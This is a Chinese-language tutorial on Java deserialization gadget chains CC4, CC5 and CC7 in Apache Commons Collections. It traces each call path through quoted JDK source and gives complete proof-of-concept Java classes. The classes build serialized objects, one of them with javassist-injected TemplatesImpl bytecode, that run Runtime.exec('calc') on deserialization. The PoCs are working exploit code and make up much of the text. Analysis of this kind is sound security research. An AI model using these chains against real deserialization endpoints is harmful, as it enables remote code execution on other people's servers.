CommonsCollections4
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
同样是在4的环境下
cc3引入了InstantiateTransformer
类替换了InvokerTransformer
对cc1链进行变形绕过过滤。同理,cc2也能做同样的变形形成一条新的利用链,这就是cc4链。cc4相对于cc2来说并没有将TemplatesImpl
类的实例直接放入队列,而是第二次transform()
的时候即调用该类的newInstance()
实例化,而实例化的参数因为也是可控的,因此在参数位置放入TemplateImpl
类的实例
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingConparator()
ChainedTransformer.transform()
InstantiateTransformer.transform()
(TrAXFilter)Constructor.newInstance()
templatesImpl.newTranformer()
Method.invoke()
Runtime.exec()
poc:
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class CommonsCollections_4 {
public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
// 创建CommonsCollections4对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool = ClassPool.getDefault(); // 返回默认的类池
classPool.appendClassPath(AbstractTranslet); // 添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections4"); // 创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); // 设置CommonsCollections4类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); // 创建一个static方法,并插入runtime
byte[] bytes = payload.toBytecode();
// 通过反射注入bytes的值
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); // 反射创建TemplatesImpl
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes"); // 反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl, new byte[][]{bytes}); // 将templatesImpl上的_bytecodes字段设置为runtime的byte数组
// 通过反射设置_name的值不为null
Field field1 = templatesImpl.getClass().getDeclaredField("_name"); // 反射获取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl, "L1mbo");
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl}) // 将TemplatesImpl实例放进参数值位置,与cc3原理一样,便于在构造函数中触发newTransformer
};
// 封装chained转换链
ChainedTransformer chian = new ChainedTransformer(trans);
TransformingComparator transCom = new TransformingComparator(chian);
// 封装外层的队列
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field com = PriorityQueue.class.getDeclaredField("comparator");
com.setAccessible(true);
com.set(queue, transCom);
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
CommonsCollections5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
和cc6链类似cc5这条链的外部入口变了,但里面没变,依然是和cc1链一样进到LazyMap.get()
然后调用Transformer数组进行RCE:
TiedMapEntry#getValue()
方法调用了get()
,而且map在TiedMapEntry
类构造函数中可控
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getValue() {
return this.map.get(this.key);
}
TiedMapEntry#toString
方法调用了getValue()
方法
public String toString() {
return this.getKey() + "=" + this.getValue();
}
找一个调用了toString
方法可以和readObject()
连起来,可以发现BadAttributeValueExpException
类的readObject()
方法
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString(); // <--此处调用
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
这里让valObj
是TiedMapEntry
类的对象,valObj
的来源是:
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
所以这里先调用readFields
从流中读取了所有的持久化字段,然后调用get()
方法得到了名字是val
的字段。这里可以用反射机制修改val的为TiedMapEntry
类的对象
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
poc:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections_5 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
new ConstantTransformer(1)
};
ChainedTransformer chian = new ChainedTransformer(transformers);
HashMap map = new HashMap();
Map innerMap = LazyMap.decorate(map, chian);
// 构造外部的触发链触发varobj.tostring到达lazymap.get
TiedMapEntry entry = new TiedMapEntry(innerMap, "L1mbo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valField = val.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(val, entry); // 将TiedMapEntry实例放进val属性,从而在反序列化还原后最终调用this.map.get
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(val);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
CommonsCollections7
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
和cc5一样,cc7也是外部入口变了,都是换种姿势调用到LazyMap.get()
方法实现一系列调用
这条链子入口是Hashtable
类的readObject()
方法
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException
{
ObjectInputStream.GetField fields = s.readFields();
// Read and validate loadFactor (ignore threshold - it will be re-computed)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new StreamCorruptedException("Illegal load factor: " + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Validate # of elements
if (elements < 0)
throw new StreamCorruptedException("Illegal # of Elements: " + elements);
// Clamp original length to be more than elements / loadFactor
// (this is the invariant enforced with auto-growth)
origlength = Math.max(origlength, (int)(elements / lf) + 1);
// Compute new length with a bit of room 5% + 3 to grow but
// no larger than the clamped original length. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)((elements + elements / 20) / lf) + 3;
if (length > elements && (length & 1) == 0)
length--;
length = Math.min(length, origlength);
if (length < 0) { // overflow
length = origlength;
}
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
Hashtable.UnsafeHolder.putLoadFactor(this, lf);
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * lf, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
}
Entry是一个数据结构的类,这个类里存放了key和value。table是一个Entry数组,而且为空。这里会调用reconstitutionPut()
方法
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
第一次调用reconstitutionPut()
,将key和value存入上面说的table中。然后若循环条件满足继续调用reconstitutionPut()
在if语句里调用了e.key.equals(key)
,也就是要构造两个Hashtable
类的对象并让map1和map2是LazyMap
类型,从而调用LazyMap.equals()
方法,但LazyMap
类里没有这个equals()
方法,寻找父类AbstractMapDecorator
实现的equals方法
public boolean equals(Object object) {
return object == this ? true : this.map.equals(object);
}
它去调用map属性的equals方法,这里的map其实是我们创建LazyMap时传入的HashMap
HashMap也没有equals方法,寻找父类AbstractMap
实现的equals方法
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
这里的迭代器i其实是map1的entrySet()的迭代器,while循环里是拿到map1里的key和value;然后是m,这里的m其实是传递过来的map2,value不为空,所以他会走else,然后先调用m.get(key),实际就是LazyMap.get()
poc:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonsCollections_7 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
new ConstantTransformer(1)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 构造两个hash值相同的Lazymap
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chain);
lazyMap1.put("zZ", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chain);
lazyMap2.put("yy", 1);
Hashtable hashTable = new Hashtable();
hashTable.put(lazyMap1, 1);
hashTable.put(lazyMap2, 2);
// 移除生成exp过程中因两个Lazymap的hash相同而放入lazymap2的键
lazyMap2.remove("zZ");
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashTable);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}